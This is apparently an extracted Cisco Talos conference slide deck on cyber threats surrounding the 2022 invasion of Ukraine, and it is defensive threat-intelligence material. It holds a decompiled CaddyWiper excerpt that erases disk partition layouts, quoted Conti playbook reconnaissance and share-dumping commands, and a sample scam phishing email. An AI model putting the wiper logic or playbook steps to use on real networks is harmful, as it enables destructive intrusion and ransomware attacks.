


# Fighting the Good Fight



### Joe Marshall

Twitter - @immortanjo3



Senior Security Strategist and threat researcher


Hacking, IoT, banjos and keeping the internet safe.



Baltimore, MD




### World-class breadth and depth of Cisco Talos






## Our job is protecting your network

Talos is the threat intelligence group at Cisco. We are here to fight the good fight — we work to keep our customers, and users at large, safe from malicious actors.





# Threat Intel in a Nutshell





Talos Threat Intelligence on current cyber threats in Ukraine

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# Threat Intelligence

(Ukraine - a complex and fluid situation)





#### Undermine the ability to defend

# 

Undermine support

### Strategic Goals



Cause dissent and disruption

• (Modify opinion & behavior)



Gather information





#### Defacement and wiper attacks

# Operational Observations in

Ukraine



DDoS attacks

Possible BGP manipulation



Increase in cadence immediately before invasion

As of right now, we have not seen any major cyber operations in support of the invasion





Possibility of release of destructive cyber weapon & risk of collateral damage

# Operational Future Perspectives



Offensive cyber operations in response to international sanctions



Espionage activity to understand international response



### Potential Russian Response

Undermine support, cause dissent & disruption Strategic goal – modify international behavior



### Cyber attacks (without provoking a full international response)

- DDoS Attacks
- Disrupt operational technology (or increase costs)



- Disrupt supply chain
- Disrupt key systems via DDoS

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#### Disinformation

- "This is all due to NATO aggression"
- "Why suffer for Ukraine?"
- Exploit internal dissent or ethnic/religious/political divides



## Unexpected Developments

#### Conti ransomware gang

- Announced "retaliation measures" against "Western warmongers"
- Individual with Ukrainian sympathies and access to Conti file and chat servers releases their data


#### "WARNING"

As a response to Western warmongering and American threats to use cyber warfare against the citizens of Russian Federation, the Conti Team is officially announcing that we will use our full capacity to deliver retaliatory measures in case the Western warmongers attempt to target critical infrastructure in Russia or any Russian-speaking region of the world. We do not ally with any government and we condemn the ongoing war. However, since the West is known to wage its wars primarily by targeting civilians, we will use our resources in order to strike back if the well being and safety of peaceful citizens will be at stake due to American cyber addression.

### 2/25/2022 <sup>(1)</sup> READ MORE **>**

#### conti leaks @ContiLeaks · 12h

My comments are coming from the bottom of my heart which is breaking over my dear Ukraine and my people. Looking of what is happening to it breaks my heart and sometimes my heart wants to scream.





# Unexpected Developments

#### Cyber criminals exploit Ukraine

- We've detected a phishing campaign utilizing the war in Ukraine as a lure
- Effective scam technique like Covid
- Drops Remcos RAT, commodity malware tool
- Exploits CVE-2017-11882



Ukraine / Україна Govt® <donate@president.gov.ua> victim@talosintelligence.com

[Virus :]Donate to Help Children in Ukraine

Offer-Request.doc 13 KB


#### ×

A donation campaign has been launched to support Ukrain and also help refugees fleeing the conflict in Ukraine The campaign, organized by the humanitarian organization Act for Peace, is hoping to raise **\$9,000,000** to support refugees in the region.

Stand with the people of Ukraine. Now accepting cryptocurrency donations. Bitcoin, Ethereum, USDT and NFT

BTC - bc1q2vhvvarun3d8u40s7uuml2m07lp90k62y84eg4

Best Regards ∪kraine #Beautiful∪kraine







## Unexpected Developments

#### Cyber warfare & hacktivism

- Anonymous launches campaign to disrupt Russian systems
- Ukraine launches "IT Army of Ukraine" to encourage hacktivists to participate in cyber attacks

#### ↑↓ Anonymous TV = Retweeted

Anonymous @YourAnonNews · 2h

#### #Anonymous #OpRussia

Anonymous activists have been engaged in a cyber warfare campaign against Putin & his allies. We, as activists, will not sit idle as Russian forces kill and murder innocent people trying to defend their homeland.



Cisco Security Research

...

# New wiper malware found 'Caddy Wiper'

- Ongoing cyber attacks in this case, new wiper malware detected by ESET
- Unique in its attack methods
- Apparently compiled same day if true, signifies new elements of war
- Russia has pre-positioned access very well

35	CloseHandle = (void (stdcall *)(HANDLE))sub_401530(v10, v3);
36	drives_left = 9;
37	BytesReturned = 0;
38	<pre>hDevice = (HANDLE)-1; bzero(nul_bytes, sizeof(DRIVE_LAYOUT_INFORMATION_EX_AND_13_PARTITIONS));</pre>
40	v7[0] = '\\';
41	v7[1] = '\\';
42	v7[2] = '.';
43	v7[3] = '\\';
44	v7[4] = 'P';
45 46	v7[5] = 'H'; v7[6] = 'Y';
47	v7[7] = 'S';
48	v7[8] = 'I';
9 49	v7[9] = 'C';
50	v7[10] = 'A';
51	<pre>v7[11] = 'L'; v7[12] = 'D';</pre>
53	v7[12] = 'R';
54	v7[14] = 'I';
55	v7[15] = 'V';
56	v7[16] = 'E';
57 58	<pre>v7[17] = '9'; v7[18] = 0;</pre>
59	do
61	hDevice = CreateFileW(v7, 0xC0000000, 3, 0, 3, 128, 0);
62	if ( hDevice != (HANDLE)INVALID_HANDLE_VALUE )
63 64	{ DeviceIoControl(
65	hDevice,
	IOCTL_DISK_SET_DRIVE_LAYOUT_EX,
	nul_bytes,
	<pre>sizeof(DRIVE_LAYOUT_INFORMATION_EX_AND_13_PARTITIONS), 0,</pre>
	0, 0,
	&BytesReturned,
	0);
73	CloseHandle(hDevice);
74 75	} LOBYTE(v7[17]);
76	}
77	<pre>while ( drives_left );</pre>
0 78 }	



### Talos & Ukraine



#### **Current assistance**

- Providing defensive guidance
- Assisting with forensic analysis
- Providing intelligence
- Assisting in hunting activities



#### Partnerships

- State Special Communications Service of Ukraine (SSSCIP)
- Cyberpolice Department of the National Police of Ukraine
- National Coordination Center for Cybersecurity (NCCC at the NSDC of Ukraine)



#### **Previous assistance**

- Six years in region
- On the ground during NotPetya
- Assisted with forensic analysis multiple events
- Assisted in monitoring of election infrastructure during 2019 presidential election





Nothing we have seen in Ukraine changes our recommendations



Everything that you know you're supposed to be doing is what you should do

You know where you have "accepted risk"

- Revisit that decision
- Harden that environment
- Isolate and monitor aggressively



Focus intelligence activities to understand current Russian and unattributed activities and react quickly



# What can you do?

### Ransomware is still awful

- No decrease in ransomware attacks
- Adversaries are pivoting to Ukraine based lures for stage 1
- Revil actors arrested no appreciable dent in volume
  - Suspect internal politics
- Every sector is on the table for targeting – but medical is lucrative


TECH CYBERSECURITY

### Apparent ransomware attack closes Baltimore County public schools

'We were the victim of a ransomware cyberattack,' says BCPS official By Russell Brandom | Nov 25, 2020, 10:02am EST



### 2022: Data Exfiltration



Cisco Security Research

### Learn from us and them: Conti playbook

#### https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html



#### Stage I. Privilege escalation and information collection

#### 1. Initial reconnaissance

#### 1.1. Company revenue search

Find company website

Google: website+revenue (mycorporation.com+revenue)

("mycorporation.com" "revenue")

Check more than one website if possible

#### owler, manta, zoominfo, dnb, rocketrich

1.2. AV detection

1.3. shell whoami <==== Who am I

1.4. shell whoami /groups --> my bot rights (if bot returned blue monitor)

1.5.1. shell nltest /dclist: <===== domain controllers

net dclist <==== domain controllers

1.5.2. net domain\_controllers <===== this command will show IP addresses of domain controllers

1.6. shell net localgroup administrators <===== local administrators

1.7. shell net group /domain "Domain Admins" <===== domain administrators

1.8. shell net group "Enterprise Admins" /domain <===== enterprise administrators

1.9. shell net group "Domain Computers" /domain <===== Quantity of workstations in domain

1.10. net computers <==== ping all hosts with display of IP addresses

Preferably execute Kerberoast attack if more than 3k hosts received since bot can disconnect while dumping shares for 2 hours

#### 2. Dump of Shares

Dump shares in two cases:

1. When looking for place for payload. In this case we're looking for writable shares only (admin share without shares local user have access to). To get the list run:

powershell-import /home/user/work/ShareFinder.ps1

#### psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out- File -Encoding ascii C:\ProgramData\sh.txt

2. When searching for information we gonna extract during second stage. In this case we'll need to found shares that the local user has access to. Impersonate administrator's token we gonna use for data extraction (different admins can have different access to different shares) and dumb with command:

powershell-import /home/user/work/ShareFinder.ps1



### Ransomware death





## So, what now?

- Now is the time to re-evaluate your 'accepted risk'.
- Do you have visibility into your enterprise?
- The most lacking controls are 2FA, unpatched systems, endpoint enabled
- Maintain a strong situational awareness – it's going to be a bumpy ride







### Talosintelligence.com



blog.talosintelligence.com



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